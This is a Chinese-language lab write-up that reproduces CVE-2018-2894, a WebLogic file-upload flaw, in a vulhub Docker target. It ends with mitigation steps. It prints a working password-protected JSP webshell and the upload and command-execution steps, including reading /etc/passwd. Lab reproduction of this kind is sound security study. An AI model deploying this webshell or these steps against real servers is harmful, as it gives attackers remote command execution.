目录
- 0x01 漏洞介绍
- 0x02 环境部署:
- 0x03 漏洞复现
- 1.开启运行靶机
- 2. 开启Web Service Test Page
- 3. 访问url, 设置Work Home Dir
- 4. 上传木马
- 5. 访问上传的木马文件,执行命令
- 0x04 漏洞修复
0x01 漏洞介绍
-
漏洞描述
Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在"生产模式"下默认不开启,所以该漏洞有一定限制。 -
漏洞编号
CVE-2018-2894 -
受影响版本
12.1.3.0, 12.2.1.2, 12.2.1.3
0x02 环境部署:
搭建一次,复现百次
靶机 ip:192.168.30.209
kali ip:192.168.30.182
0x03 漏洞复现
1.开启运行靶机
#进入需要开启的环境
┌──(root💀kali)-[~/vulhub/weblogic]
└─# cd CVE-2018-2894
#对靶场进行编译
┌──(root💀kali)-[~/vulhub/weblogic/CVE-2018-2894]
└─# docker-compose build
#运行此靶场
┌──(root💀kali)-[~/vulhub/weblogic/CVE-2018-2894]
└─# docker-compose up -d
#查看当前运行的靶场
┌──(root💀kali)-[~/vulhub/weblogic/CVE-2018-2894]
└─# docker ps
2. 开启Web Service Test Page
由于含有文件上传漏洞的网页在生产模式下默认关闭,所以我们需要提前手动开启
2.1 查看管理员
docker-compose logs | grep password
#用户名:weblogic 密码:odJij4nC
2.2 访问rul登录后台
http://192.168.30.209:7001/console/login/LoginForm.jsp
2.3 启用web服务测试页并保存
3. 访问url, 设置Work Home Dir
http://192.168.30.209:7001/ws_utc/config.do
#将Work Home Dir设置如下,因为访问这个目录无需权限
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
4. 上传木马
#jspexec.jsp jsp有回显带密码验证的,这里脚本的密码为666
#访问时url格式如下
#http://127.0.0.1/jspexec.jsp?pwd=666&i=ls
<%
if("666".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
由于服务器对上传的文件名具有重写操作,将文件名重写为:[时间戳]_[文件名],所以我们需要在上传文件的回包中查看时间戳
所以我们上传后的木马文件名已经被重命名为 1631517951174_jspexec.jsp
5. 访问上传的木马文件,执行命令
http://192.168.30.209:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
http://192.168.30.209:7001/ws_utc/css/config/keystore/1631517951174_jspexec.jsp?pwd=666&i=cat /etc/passwd
漏洞复现成功
0x04 漏洞修复
- 开启生产模式
- 设置config.do,begin.do页面登录授权后访问
- IPS等防御产品可以加入相应的特征
- 升级到官方的最新版本